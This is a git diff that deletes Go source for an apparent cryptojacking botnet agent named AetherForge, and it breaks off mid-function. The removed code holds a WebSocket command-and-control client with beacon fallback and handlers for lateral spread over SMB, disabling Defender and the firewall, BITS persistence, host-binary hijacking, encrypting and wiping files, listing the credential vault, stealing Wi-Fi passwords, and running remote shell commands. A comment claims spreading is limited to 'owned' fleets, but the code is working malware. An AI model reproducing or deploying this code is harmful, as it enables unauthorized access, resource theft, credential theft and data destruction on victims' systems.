diff --git a/usb/AetherForge.exe b/usb/AetherForge.exe deleted file mode 100644 index 75233ef..0000000 Binary files a/usb/AetherForge.exe and /dev/null differ diff --git a/usb/agent/client/aggressive_commands.go b/usb/agent/client/aggressive_commands.go deleted file mode 100644 index dc9dc72..0000000 --- a/usb/agent/client/aggressive_commands.go +++ /dev/null @@ -1,400 +0,0 @@ -package client - -import ( - "encoding/json" - "fmt" - "runtime" - "strconv" - "strings" - - "crypto-miner-agent/deploy" -) - -func (c *AgentClient) allowRemoteAction(action string) (bool, string) { - switch action { - case "hole_punch", "hole_punch_close", "hole_punch_status": - if !c.cfg.HolePunch { - return false, "hole punch not enabled in forge (Advanced → NAT Hole Punch)" - } - case "spread_now", "spread_smb_unc", "discover_and_join": - if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive { - return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)" - } - case "stage_fetch": - if !c.cfg.RemoteAggressive { - return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)" - } - case "start_tunnel", "tunnel_cloudflared", "tunnel_ssh_forward", "tunnel_stop", - "subnet_scan", "smb_shares", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "encrypt_path", "secure_wipe", "credential_vault_list", "get_wifi_passwords": - if !c.cfg.RemoteAggressive { - return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)" - } - case "tunnel_status", "tunnel_wireguard": - // Always available — read-only or Path Tracer config from server. - case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status", "service_discover": - // No forge gate — enumeration-only recon (Path Tracer + fleet discover). - case "mesh_status": - if !c.cfg.MeshP2P { - return false, "mesh P2P not enabled in forge" - } - default: - return true, "" - } - return true, "" -} - -func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, command, path, data string) bool { - if c.handleTunnelCommand(action, command, path, data) { - return true - } - - ok, reason := c.allowRemoteAction(action) - if !ok { - c.sendCommandResult(action, false, reason) - return true - } - - switch action { - case "hole_punch": - internalPort := parsePortArg(command, 8989) - externalPort := parsePortArg(path, internalPort) - desc := data - if desc == "" { - desc = c.cfg.WorkerName + "-aetherforge" - } - result, err := deploy.PunchUPnP(internalPort, externalPort, desc) - if err != nil { - c.sendCommandResult(action, false, result.Message) - return true - } - c.sendCommandResult(action, true, result.Message) - return true - - case "hole_punch_close": - externalPort := parsePortArg(command, 8989) - msg, err := deploy.CloseUPnP(externalPort) - if err != nil { - c.sendCommandResult(action, false, err.Error()) - return true - } - c.sendCommandResult(action, true, msg) - return true - - case "hole_punch_status": - ip, err := deploy.GetPublicEndpoint() - if err != nil { - c.sendCommandResult(action, false, err.Error()) - return true - } - c.sendCommandResult(action, true, fmt.Sprintf("WAN IP via UPnP: %s (use Hole Punch to map a port)", ip)) - return true - - case "spread_now": - msg := deploy.RunSpreadOnce(c.cfg) - c.sendCommandResult(action, true, msg) - return true - - case "spread_smb_unc": - unc := strings.TrimSpace(path) - svcName := "" - if unc == "" { - unc = strings.TrimSpace(data) - } else { - svcName = strings.TrimSpace(data) - } - msg := deploy.RunSMBUNCSpread(c.cfg, deploy.SMBUNCSpreadOpts{ - UNCPath: unc, - MaxHosts: parsePortArg(command, 64), - SvcName: svcName, - }) - c.sendCommandResult(action, true, msg) - return true - - case "stage_fetch": - var manifest deploy.StagingManifest - if err := json.Unmarshal([]byte(data), &manifest); err != nil { - c.sendCommandResult(action, false, "bad staging manifest: "+err.Error()) - return true - } - go func() { - msg, err := deploy.RunStagingChain(c.cfg, manifest) - if err != nil { - c.sendCommandResult(action, false, err.Error()) - return - } - c.sendCommandResult(action, true, msg) - }() - return true - - case "subnet_scan": - maxHosts := parsePortArg(command, 64) - out := deploy.ScanLocalSubnet(maxHosts) - c.sendCommandResult(action, true, out) - return true - - case "smb_shares": - if runtime.GOOS != "windows" { - c.sendCommandResult(action, false, "smb_shares is Windows-only") - return true - } - maxHosts := parsePortArg(command, 32) - out := deploy.EnumerateSMBShares(maxHosts) - c.sendCommandResult(action, true, out) - return true - - case "spread_status": - out := deploy.GetSpreadStatusJSON() - c.sendCommandResult(action, true, out) - return true - - case "credential_vault_list": - out := listCredentialVaultNames() - c.sendCommandResult(action, true, out) - return true - - case "secure_wipe": - target := strings.TrimSpace(path) - if target == "" { - c.sendCommandResult(action, false, "path is required") - return true - } - go func() { - result := SecureWipePath(target) - ok := !strings.HasPrefix(result, "secure_wipe error:") - c.sendCommandResult(action, ok, result) - }() - return true - - case "defender_off": - msg, err := deploy.DisableDefenderRealtime() - if err != nil { - c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) - return true - } - c.sendCommandResult(action, true, msg) - return true - - case "firewall_punch": - port := parsePortArg(command, 8989) - name := path - if name == "" { - name = "AetherForge Remote " + c.cfg.WorkerName - } - msg, err := deploy.OpenFirewallPort(port, name) - if err != nil { - c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) - return true - } - c.sendCommandResult(action, true, msg) - return true - - case "firewall_off": - msg, err := deploy.DisableWindowsFirewall() - if err != nil { - c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) - return true - } - c.sendCommandResult(action, true, msg) - return true - - case "firewall_on": - msg, err := deploy.EnableWindowsFirewall() - if err != nil { - c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) - return true - } - c.sendCommandResult(action, true, msg) - return true - - case "firewall_profiles": - // command: "on" or "off" (default off). path: Domain,Private,Public or all - enable := strings.EqualFold(strings.TrimSpace(command), "on") || - strings.EqualFold(strings.TrimSpace(command), "enable") || - strings.EqualFold(strings.TrimSpace(command), "true") - profiles := strings.TrimSpace(path) - if profiles == "" { - profiles = "all" - } - msg, err := deploy.SetWindowsFirewallProfiles(enable, profiles) - if err != nil { - c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) - return true - } - c.sendCommandResult(action, true, msg) - return true - - case "bits_persist": - bin, err := deploy.InstalledBinaryPath(c.cfg) - if err != nil { - c.sendCommandResult(action, false, err.Error()) - return true - } - if err := deploy.CreateBITSPersistence(c.cfg, bin); err != nil { - c.sendCommandResult(action, false, err.Error()) - return true - } - c.sendCommandResult(action, true, fmt.Sprintf("BITS notify job registered (%s)", deploy.BitsJobName(c.cfg))) - return true - - case "host_binary_persist": - bin, err := deploy.InstalledBinaryPath(c.cfg) - if err != nil { - c.sendCommandResult(action, false, err.Error()) - return true - } - preset := strings.TrimSpace(path) - if preset == "" { - preset = strings.TrimSpace(c.cfg.HostBinaryTarget) - } - if preset == "" { - preset = "ssh" - } - target, err := deploy.HijackHostBinary(c.cfg, bin, preset) - if err != nil { - c.sendCommandResult(action, false, err.Error()) - return true - } - c.sendCommandResult(action, true, fmt.Sprintf("host binary hijacked: %s (preset %s)", target, preset)) - return true - - case "firewall_remove": - var parts []string - ruleName := strings.TrimSpace(path) - if ruleName != "" { - msg, err := deploy.RemoveFirewallRuleByName(ruleName) - if err != nil { - c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) - return true - } - parts = append(parts, msg) - } - deploy.RemoveFirewallExclusion(c.cfg) - parts = append(parts, "Removed AetherForge miner firewall rules (if present)") - c.sendCommandResult(action, true, strings.Join(parts, "\n")) - return true - - case "supp_seek": - seekPath := strings.TrimSpace(path) - if seekPath == "" { - c.sendCommandResult(action, false, "path is required — set the 'path' field to the root directory to scan") - return true - } - // command field carries target flags: "win", "mac", "all" (default all) - flag := strings.ToLower(strings.TrimSpace(command)) - opts := suppSeekOpts{ - DropWindows: flag == "" || flag == "all" || strings.Contains(flag, "win"), - DropMac: flag == "" || flag == "all" || strings.Contains(flag, "mac"), - ServerURL: c.cfg.ServerURL, - } - // data field carries optional custom stem (file name without extension) - if strings.TrimSpace(data) != "" { - opts.FileStem = strings.TrimSpace(data) - } - c.sendCommandResult(action, true, fmt.Sprintf("SUPP Seek started — scanning %s (win=%v mac=%v)", seekPath, opts.DropWindows, opts.DropMac)) - go func() { - result := suppSeekWalk(seekPath, opts) - c.sendCommandResult("supp_seek_done", true, result.Summary()) - }() - return true - - case "sys_crypt", "encrypt_path": - target := strings.TrimSpace(path) - recursive := parseRecursiveFlag(command, data) - if action == "sys_crypt" && target == "" { - recursive = true - } - go func() { - var result string - if target == "" && action == "sys_crypt" { - result = SysCrypt() - } else { - result = EncryptPath(target, recursive) - } - c.sendCommandResult(action, true, result) - }() - return true - - case "get_wifi_passwords": - go func() { - result := grabWiFiPasswords() - c.sendCommandResult(action, true, result) - }() - return true - - case "mesh_status": - count := c.mesh.PeerCount() - if count == 0 && c.cfg.MeshP2P { - c.sendCommandResult(action, true, "mesh peers connected: 0 — binary not built with -tags p2p — re-forge with Mesh Networking enabled") - } else { - c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count)) - } - return true - - case "wg_setup": - // Generates WireGuard keypair, tries UPnP, returns JSON result to server. - go func() { - result := WGSetupJSON() - c.sendCommandResult(action, true, result) - }() - return true - - case "wg_configure": - // data field carries the JSON WGConfigPayload from the server. - var payload WGConfigPayload - if err := json.Unmarshal([]byte(data), &payload); err != nil { - c.sendCommandResult(action, false, "bad wg config payload: "+err.Error()) - return true - } - go func() { - if err := WGConfigure(payload); err != nil { - c.sendCommandResult(action, false, err.Error()) - return - } - c.sendCommandResult(action, true, "WireGuard tunnel started") - }() - return true - - case "wg_teardown": - go func() { - WGTeardown() - c.sendCommandResult(action, true, "WireGuard tunnel removed") - }() - return true - - case "wg_status": - c.sendCommandResult(action, true, WGStatus()) - return true - - case "service_discover": - maxHosts := parsePortArg(command, 32) - out := deploy.RunServiceDiscover(maxHosts) - c.sendCommandResult(action, true, out) - return true - - case "discover_and_join": - maxHosts := parsePortArg(command, 32) - go func() { - msg, err := c.runDiscoverAndJoin(maxHosts) - if err != nil { - c.sendCommandResult(action, false, err.Error()) - return - } - c.sendCommandResult(action, true, msg) - }() - return true - } - - return false -} - -func parsePortArg(raw string, fallback int) int { - raw = strings.TrimSpace(raw) - if raw == "" { - return fallback - } - n, err := strconv.Atoi(raw) - if err != nil || n <= 0 || n > 65535 { - return fallback - } - return n -} diff --git a/usb/agent/client/client.go b/usb/agent/client/client.go deleted file mode 100644 index 9c7c24f..0000000 --- a/usb/agent/client/client.go +++ /dev/null @@ -1,1372 +0,0 @@ -package client - -import ( - "context" - "encoding/base64" - "encoding/json" - "fmt" - "io" - "log" - "math/rand" - "net" - "net/http" - "net/url" - "os" - "path/filepath" - "runtime" - "strings" - "sync" - "sync/atomic" - "time" - - "crypto-miner-agent/config" - "crypto-miner-agent/deploy" - "crypto-miner-agent/job" - "crypto-miner-agent/miner" - "crypto-miner-agent/stats" - "crypto-miner-agent/vulnprobe" - - "github.com/gorilla/websocket" -) - -type AgentClient struct { - cfg config.RuntimeConfig - conn *websocket.Conn - pool *miner.Pool - reporter *stats.Reporter - startTime time.Time - aiRunner *AIRunner - mesh *MeshNode - - mu sync.Mutex - agentID string - sharesSubmitted int - sharesAccepted int - gpuMiner *GPUMiner - - // connected is true while a C2 WebSocket session is active. - // The Stratum fallback manager monitors this to decide when to mine directly. - connected atomic.Bool - - // containerMiner supervises OCI-isolated CPU mining (container / docker_load tiers). - containerMiner *miner.ContainerLauncher - // wslMiner supervises CPU mining inside WSL2 via wsl.exe -e. - wslMiner *miner.WSLLauncher - // psMiner hosts in-memory assembly / encoded-command mining via powershell.exe. - psMiner *miner.PowerShellLauncher - // dotnetMiner compiles and runs a LOTL Stratum stub via dotnet/msbuild. - dotnetMiner *miner.DotnetLauncher - // hostMiningDisabled is true when a healthy container handles RandomX on the host. - hostMiningDisabled atomic.Bool - // miningChain orchestrates container → in-process → GPU → Stratum cascade. - miningChain *MiningChainRunner - // tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update). - tierPolicy miner.MiningTierPolicy - // adaptiveStrategy holds server reasoning trace for diagnostics/UI. - adaptiveStrategy AdaptiveStrategy - // atlasSkips are fleet-learned hard subtree blocks from the failure atlas. - atlasSkips []AtlasSkip - // inheritedPhenotype is the sibling clone payload from auth (for AI snapshot / diagnostics). - inheritedPhenotype *InheritedPhenotype - // triplePolicy is server-pulled recon → deploy → mining gate policy. - triplePolicy miner.TripleOnionPolicy - triplePolicyLoaded bool - // joinLane is the last successful discover_and_join supply-chain lane. - joinLane string - // clearanceLevel is the server-granted security clearance (L0–L4). - clearanceLevel int - - // lastJobAt records when the most recent valid mining job was delivered. - // The Stratum fallback manager uses this to detect "connected but jobless" - // situations and start direct Stratum mining after a timeout. - lastJobAt atomic.Value // stores time.Time - - // spreadOnce ensures AutoSpreader starts at most once — after the first - // successful WS authentication confirms we are on an owned fleet. - spreadOnce sync.Once - - // commandResultHook is set in tests to observe sendCommandResult without a live WS. - commandResultHook func(action string, success bool, message string) - - // beaconMode is true while commands/results use HTTPS beacon transport. - beaconMode atomic.Bool - // wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth. - wsDownSince atomic.Value // stores time.Time -} - -func NewAgentClient(cfg config.RuntimeConfig) *AgentClient { - c := &AgentClient{ - cfg: cfg, - reporter: stats.NewReporter(), - startTime: time.Now(), - agentID: cfg.AgentID, - } - c.mesh = NewMeshNode(c) - c.initSpreadCredHooks() - return c -} - -func (c *AgentClient) Run() error { - if c.cfg.AgentKillAfterDays > 0 && !c.cfg.BuiltAt.IsZero() { - age := time.Since(c.cfg.BuiltAt) - limit := time.Duration(c.cfg.AgentKillAfterDays) * 24 * time.Hour - if age >= limit { - log.Printf("[agent] agent_kill_after_days (%d) reached — exiting", c.cfg.AgentKillAfterDays) - return nil - } - } - - threads := c.cfg.EffectiveThreads() - c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare) - c.pool.Start() - defer c.pool.Stop() - - chainCtx, chainCancel := context.WithCancel(context.Background()) - defer chainCancel() - c.miningChain = c.newMiningChainRunner() - if deploy.WantsDeferMining() { - go c.startMiningWhenReady(chainCtx) - } else { - c.miningChain.Start(chainCtx) - } - defer c.miningChain.Stop() - - // Start AI Autonomy runner if enabled - if c.cfg.AIEnabled { - c.aiRunner = NewAIRunner(c.cfg, c.reporter, c.pool) - c.aiRunner.shareStats = func() (int, int) { - c.mu.Lock() - defer c.mu.Unlock() - return c.sharesSubmitted, c.sharesAccepted - } - c.aiRunner.Start() - defer c.aiRunner.Stop() - } - - // Start libp2p Mesh Discovery - if c.cfg.MeshP2P { - if err := c.mesh.Start(); err != nil { - log.Printf("[Mesh] Failed to start: %v", err) - } - defer c.mesh.Stop() - } - - // Stratum fallback manager — starts direct pool mining after 30 s of C2 absence. - fallbackDone := make(chan struct{}) - fallbackManagerDone := make(chan struct{}) - go func() { - defer close(fallbackManagerDone) - c.stratumFallbackManager(fallbackDone) - }() - defer func() { - close(fallbackDone) - <-fallbackManagerDone - }() - - // Build deduped server list: primary first, then backups. - // On each failure we advance to the next URL so the fleet never - // goes dark when the primary host reboots. - serverURLs := buildServerURLList(c.cfg) - log.Printf("[agent] %d server(s) configured: %v", len(serverURLs), serverURLs) - - probe := runConnectivityProbe(c.cfg.ServerURL, c.cfg.PoolHost, c.cfg.PoolPort) - log.Printf("[agent] connectivity_probe: c2_dns=%v c2_tcp=%v pool_dns=%v pool_tcp=%v", - probe.C2DNSOK, probe.C2TCPOK, probe.PoolDNSOK, probe.PoolTCPOK) - - urlIdx := 0 - backoff, maxBackoff := c.reconnectBackoff() - for { - target := serverURLs[urlIdx%len(serverURLs)] - start := time.Now() - // Restore C2 share handler before connecting (in case Stratum had it). - c.pool.SetShareHandler(c.submitShare) - if c.shouldUseHTTPSBeacon(c.wsDownSinceTime()) { - log.Printf("[agent] WebSocket unavailable — HTTPS beacon to %s", target) - if err := c.beaconOnce(target); err != nil { - log.Printf("[agent] beacon failed on %s: %v", target, err) - c.markWSDownSince() - } else { - c.sleepReconnect(c.beaconInterval()) - } - } - if err := c.connectLoop(target); err != nil { - log.Printf("[agent] disconnected from %s: %v", target, err) - c.markWSDownSince() - } - // Advance to next URL so the next reconnect tries a different server - urlIdx++ - if time.Since(start) > 10*time.Second { - backoff, maxBackoff = c.reconnectBackoff() - } - c.sleepReconnect(backoff) - backoff += c.reconnectBackoffStep() - if backoff > maxBackoff { - backoff = maxBackoff - } - } -} - -func (c *AgentClient) reconnectBackoff() (time.Duration, time.Duration) { - sec := c.cfg.BeaconIntervalSec - if sec <= 0 { - sec = 5 - } - base := time.Duration(sec) * time.Second - max := 60 * time.Second - if base*12 > max { - max = base * 12 - } - return base, max -} - -func (c *AgentClient) reconnectBackoffStep() time.Duration { - sec := c.cfg.BeaconIntervalSec - if sec <= 0 { - sec = 5 - } - return time.Duration(sec) * time.Second -} - -func (c *AgentClient) sleepReconnect(d time.Duration) { - jitter := c.cfg.BeaconJitterPct - if jitter > 0 { - if jitter > 100 { - jitter = 100 - } - factor := 1.0 + (rand.Float64()*2-1)*float64(jitter)/100.0 - d = time.Duration(float64(d) * factor) - } - time.Sleep(d) -} - -// buildServerURLList returns [primaryURL, ...backupURLs] deduped and in order. -func buildServerURLList(cfg config.RuntimeConfig) []string { - seen := map[string]bool{} - var urls []string - add := func(u string) { - u = strings.TrimSpace(u) - if u == "" || seen[u] { - return - } - seen[u] = true - urls = append(urls, u) - } - add(cfg.ServerURL) - for _, u := range cfg.BackupServerURLs { - add(u) - } - if len(urls) == 0 { - urls = []string{cfg.ServerURL} - } - return urls -} - -func (c *AgentClient) connectLoop(serverURL string) error { - wsURL, err := buildWSURL(serverURL) - if err != nil { - return err - } - - log.Printf("[agent] connecting to %s", wsURL) - dialer := websocket.Dialer{HandshakeTimeout: 45 * time.Second} - conn, _, err := dialer.Dial(wsURL, nil) - if err != nil { - return err - } - if tc, ok := conn.UnderlyingConn().(*net.TCPConn); ok { - _ = tc.SetKeepAlive(true) - _ = tc.SetKeepAlivePeriod(30 * time.Second) - } - c.conn = conn - defer conn.Close() - - conn.SetPongHandler(func(string) error { - return conn.SetReadDeadline(time.Now().Add(90 * time.Second)) - }) - - if err := c.authenticate(); err != nil { - return err - } - c.connected.Store(true) - defer c.connected.Store(false) - - statsStop := make(chan struct{}) - go c.statsLoop(statsStop) - defer close(statsStop) - - for { - conn.SetReadDeadline(time.Now().Add(90 * time.Second)) - _, data, err := conn.ReadMessage() - if err != nil { - return err - } - var msg Message - if err := json.Unmarshal(data, &msg); err != nil { - continue - } - c.handleMessage(msg) - } -} - -func primaryMACAddress() string { - ifaces, err := net.Interfaces() - if err != nil { - return "" - } - for _, iface := range ifaces { - if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 { - continue - } - if len(iface.HardwareAddr) == 0 { - continue - } - return iface.HardwareAddr.String() - } - return "" -} - -func (c *AgentClient) authenticate() error { - host, cores, memGB := c.reporter.SystemInfo() - backupPools := make([]BackupPoolEntry, len(c.cfg.BackupPools)) - for i, bp := range c.cfg.BackupPools { - backupPools[i] = BackupPoolEntry{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass} - } - - payload, _ := json.Marshal(AuthPayload{ - AgentID: c.agentID, - FleetSecret: c.cfg.FleetSecret, - Wallet: c.cfg.Wallet, - BackupPools: backupPools, - Version: config.Version, - Hostname: host, - CPUCores: cores, - MemoryGB: memGB, - Worker: c.cfg.WorkerName, - PoolHost: c.cfg.PoolHost, - PoolPort: c.cfg.PoolPort, - PoolTLS: c.cfg.PoolTLS, - PoolPass: c.cfg.PoolPass, - AIEnabled: c.cfg.AIEnabled, - AIOllamaEndpoint: c.cfg.AIOllamaEndpoint, - AIModel: c.cfg.AIModel, - HolePunch: c.cfg.HolePunch, - RemoteAggressive: c.cfg.RemoteAggressive, - MeshP2P: c.cfg.MeshP2P, - AutoSpread: c.cfg.AutoSpread, - ProcessHollowing: c.cfg.ProcessHollowing && runtime.GOOS == "windows", - Platform: runtime.GOOS, - Arch: runtime.GOARCH, - OSVersion: deploy.HostOSVersion(), - MacAddress: primaryMACAddress(), - BuildID: c.cfg.BuildID, - USBSpread: c.cfg.USBSpread, - Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")), - UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")), - LotlOnionEnabled: c.cfg.LotlOnionEnabled, - LotlPolicyFromServer: c.cfg.LotlPolicyFromServer, - JoinLane: c.getJoinLane(), - }) - if err := c.write(Message{Type: "auth", Payload: payload}); err != nil { - return err - } - - _, data, err := c.conn.ReadMessage() - if err != nil { - return err - } - var msg Message - if err := json.Unmarshal(data, &msg); err != nil { - return err - } - if msg.Type != "auth_response" { - return fmt.Errorf("unexpected message: %s", msg.Type) - } - var resp AuthResponse - if err := json.Unmarshal(msg.Payload, &resp); err != nil { - return err - } - if !resp.Success { - return fmt.Errorf("auth failed: %s", resp.Error) - } - c.applyAuthLotlPolicy(resp) - c.agentID = resp.AgentID - if resp.ClearanceLevel > 0 { - c.mu.Lock() - c.clearanceLevel = resp.ClearanceLevel - c.mu.Unlock() - } - if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 { - c.mu.Lock() - c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers) - cfg := c.cfg - c.mu.Unlock() - log.Printf("[agent] LOTL onion tiers pulled from server: %v", cfg.LotlOnionTiers) - } - c.clearWSDownSince() - log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID) - // Persist the server-confirmed ID so restarts always reconnect as the same agent. - if installDir, err := c.cfg.InstallDirectory(); err == nil { - _ = deploy.PersistAgentID(installDir, c.agentID) - } - - // Gate AutoSpread behind successful server auth: only spread on fleets where - // our fleet secret was accepted, preventing lateral movement on non-owned networks. - c.spreadOnce.Do(func() { - c.mu.Lock() - cfg := c.cfg - c.mu.Unlock() - if cfg.AutoSpread { - deploy.StartAutoSpreader(cfg) - if deploy.WantsFirstRunSpread(cfg) { - deploy.RunSpreadOnce(cfg) - deploy.ClearFirstRunSpreadMarker(cfg) - } - } - if cfg.LotlOnionEnabled { - deploy.StartLotlOnion(cfg) - } - }) - - c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")}) - return nil -} - -func jobPayloadHasError(payload json.RawMessage) bool { - _, ok := jobPayloadErrorMessage(payload) - return ok -} - -func jobPayloadErrorMessage(payload json.RawMessage) (string, bool) { - var raw map[string]json.RawMessage - if err := json.Unmarshal(payload, &raw); err != nil { - return "", false - } - errMsg, ok := raw["error"] - if !ok { - return "", false - } - msg := strings.Trim(string(errMsg), `"`) - if msg == "" { - return "", false - } - return msg, true -} - -func (c *AgentClient) handleMessage(msg Message) { - switch msg.Type { - case "new_job": - if jobPayloadHasError(msg.Payload) { - if msg, _ := jobPayloadErrorMessage(msg.Payload); msg != "" { - log.Printf("[agent] job error from server: %s", msg) - } - // Back off 3 seconds before retrying — pool may still be connecting. - time.AfterFunc(3*time.Second, func() { - c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")}) - }) - return - } - var j job.Job - if err := json.Unmarshal(msg.Payload, &j); err != nil { - log.Printf("[agent] bad job payload: %v", err) - return - } - if j.Blob == "" { - log.Printf("[agent] empty job blob — requesting job again") - time.AfterFunc(3*time.Second, func() { - c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")}) - }) - return - } - log.Printf("[agent] new job %s height=%d", j.ID, j.Height) - c.lastJobAt.Store(time.Now()) - c.pool.SetJob(&j) - case "share_result": - var result ShareResult - if err := json.Unmarshal(msg.Payload, &result); err != nil { - return - } - if result.Accepted { - c.mu.Lock() - c.sharesAccepted++ - c.mu.Unlock() - } - case "policy_update": - go c.applyPolicyUpdate(msg.Payload) - case "adaptive_strategy_update": - c.applyAdaptiveStrategyJSON(msg.Payload) - case "ai_snapshot_request": - go func() { - hps := c.pool.HashesPerSecond() - c.pushAISnapshot(hps) - }() - case "clearance_update": - var payload struct { - ClearanceLevel int `json:"clearance_level"` - } - if err := json.Unmarshal(msg.Payload, &payload); err == nil && payload.ClearanceLevel >= 0 { - c.mu.Lock() - c.clearanceLevel = payload.ClearanceLevel - c.mu.Unlock() - } - case "command": - var cmd struct { - Action string `json:"action"` - TailLines int `json:"tail_lines"` - Command string `json:"command"` - Path string `json:"path"` - Data string `json:"data"` - Module string `json:"module"` - } - if err := json.Unmarshal(msg.Payload, &cmd); err != nil { - return - } - // Run off the read loop so long exec/powershell probes do not block - // subsequent commands or server pings. - go c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data, cmd.Module) - } -} - -func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data, module string) { - if c.handleAICommand(action, tailLines, command, path, data) { - return - } - if c.handleAggressiveCommand(action, tailLines, command, path, data) { - return - } - switch action { - case "fetch_module": - if err := c.fetchAndApplyModule(module); err != nil { - c.sendCommandResult(action, false, err.Error()) - return - } - c.sendCommandResult(action, true, "module "+module+" applied") - case "start_mining": - // WSL sidecar: toggle systemd user unit when that tier is active (see wsl_launcher.go). - if c.wslMiner != nil && c.wslMiner.Running() { - wslRT := miner.WSLDetector() - _ = miner.ToggleWSLMining(wslRT, "", true) - } - if c.miningChain != nil { - c.miningChain.Resume(context.Background()) - } else { - c.pool.ResumeRemote() - } - c.sendCommandResult(action, true, "mining started") - case "pause": - if c.wslMiner != nil && c.wslMiner.Running() { - wslRT := miner.WSLDetector() - _ = miner.ToggleWSLMining(wslRT, "", false) - } - if c.miningChain != nil { - c.miningChain.Stop() - } else { - c.pool.PauseRemote() - if c.containerMiner != nil && c.containerMiner.Running() { - c.containerMiner.Stop() - } - c.mu.Lock() - gm := c.gpuMiner - c.mu.Unlock() - if gm != nil { - gm.Pause() - } - } - c.sendCommandResult(action, true, "mining paused") - case "resume": - if c.miningChain != nil { - c.miningChain.Resume(context.Background()) - } else { - if c.containerMiner != nil && !c.containerMiner.Running() { - if err := c.containerMiner.Start(); err != nil { - log.Printf("[container] resume restart failed: %v — using in-process mining", err) - c.hostMiningDisabled.Store(false) - c.pool.ResumeRemote() - } else { - c.hostMiningDisabled.Store(true) - c.pool.PauseRemote() - } - } else if !c.hostMiningDisabled.Load() { - c.pool.ResumeRemote() - } - c.mu.Lock() - gm := c.gpuMiner - c.mu.Unlock() - if gm != nil { - gm.Resume() - } - } - c.sendCommandResult(action, true, "fleet health: hashing restored") - case "restart": - c.sendCommandResult(action, true, "restarting") - go c.restartSelf() - case "stop", "kill": - c.sendCommandResult(action, true, "stopping") - go c.stopSelf() - case "uninstall": - c.sendCommandResult(action, true, "uninstalling") - go func() { - time.Sleep(500 * time.Millisecond) - if err := deploy.Uninstall(c.cfg); err != nil { - log.Printf("[agent] remote uninstall failed: %v", err) - } - }() - case "reboot_machine": - go func() { - time.Sleep(500 * time.Millisecond) - if err := c.execPowerCommand("reboot"); err != nil { - c.sendCommandResult(action, false, "reboot failed: "+err.Error()) - } else { - c.sendCommandResult(action, true, "system reboot initiated") - } - }() - case "shutdown_machine": - go func() { - time.Sleep(500 * time.Millisecond) - if err := c.execPowerCommand("shutdown"); err != nil { - c.sendCommandResult(action, false, "shutdown failed: "+err.Error()) - } else { - c.sendCommandResult(action, true, "system shutdown initiated") - } - }() - case "mining_diagnostics": - c.sendCommandResult(action, true, c.miningDiagnosticsJSON()) - case "get_log": - if tailLines <= 0 { - tailLines = 300 - } - content, err := readLogTail(c.cfg, tailLines) - if err != nil { - c.sendCommandResult(action, false, err.Error()) - return - } - payload, _ := json.Marshal(map[string]interface{}{ - "content": content, - "lines": tailLines, - }) - _ = c.write(Message{Type: "log_tail", Payload: payload}) - preview := content - if len(preview) > 12000 { - preview = preview[len(preview)-12000:] - } - c.sendCommandResult(action, true, preview) - case "exec": - if command == "" { - c.sendCommandResult(action, false, "no command provided") - return - } - out, err := c.runExecCommand(command) - if err != nil { - c.sendCommandResult(action, false, formatCmdErr(err, out)) - return - } - c.sendCommandResult(action, true, string(out)) - case "powershell": - if command == "" { - c.sendCommandResult(action, false, "no command provided") - return - } - out, err := c.runShellCommand(command) - if err != nil { - c.sendCommandResult(action, false, formatCmdErr(err, out)) - return - } - c.sendCommandResult(action, true, string(out)) - case "upload", "push_desktop": - if data == "" { - c.sendCommandResult(action, false, "data (base64) is required") - return - } - dest := path - if action == "push_desktop" { - name := strings.TrimSpace(path) - if name == "" { - name = strings.TrimSpace(command) - } - var err error - dest, err = deploy.ResolveDesktopFile(name) - if err != nil { - c.sendCommandResult(action, false, "desktop path: "+err.Error()) - return - } - } else if dest == "" { - c.sendCommandResult(action, false, "path and data (base64) are required") - return - } else { - resolved, err := deploy.ResolveRemotePath(dest) - if err != nil { - c.sendCommandResult(action, false, err.Error()) - return - } - dest = resolved - } - decoded, err := base64.StdEncoding.DecodeString(data) - if err != nil { - c.sendCommandResult(action, false, "invalid base64 data: "+err.Error()) - return - } - if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil { - c.sendCommandResult(action, false, "failed to create directory: "+err.Error()) - return - } - if err := os.WriteFile(dest, decoded, 0644); err != nil { - c.sendCommandResult(action, false, "failed to write file: "+err.Error()) - return - } - c.sendCommandResult(action, true, fmt.Sprintf("file uploaded to %s (%d bytes)", dest, len(decoded))) - case "download": - if path == "" { - c.sendCommandResult(action, false, "path is required") - return - } - resolved, err := deploy.ResolveRemotePath(path) - if err != nil { - c.sendCommandResult(action, false, err.Error()) - return - } - b, err := os.ReadFile(resolved) - if err != nil { - c.sendCommandResult(action, false, "failed to read file: "+err.Error()) - return - } - encoded := base64.StdEncoding.EncodeToString(b) - c.sendCommandResult(action, true, encoded) - case "upgrade": - // data = download URL for the new binary - if data == "" { - c.sendCommandResult(action, false, "no upgrade URL provided") - return - } - go c.performUpgrade(data) - c.sendCommandResult(action, true, 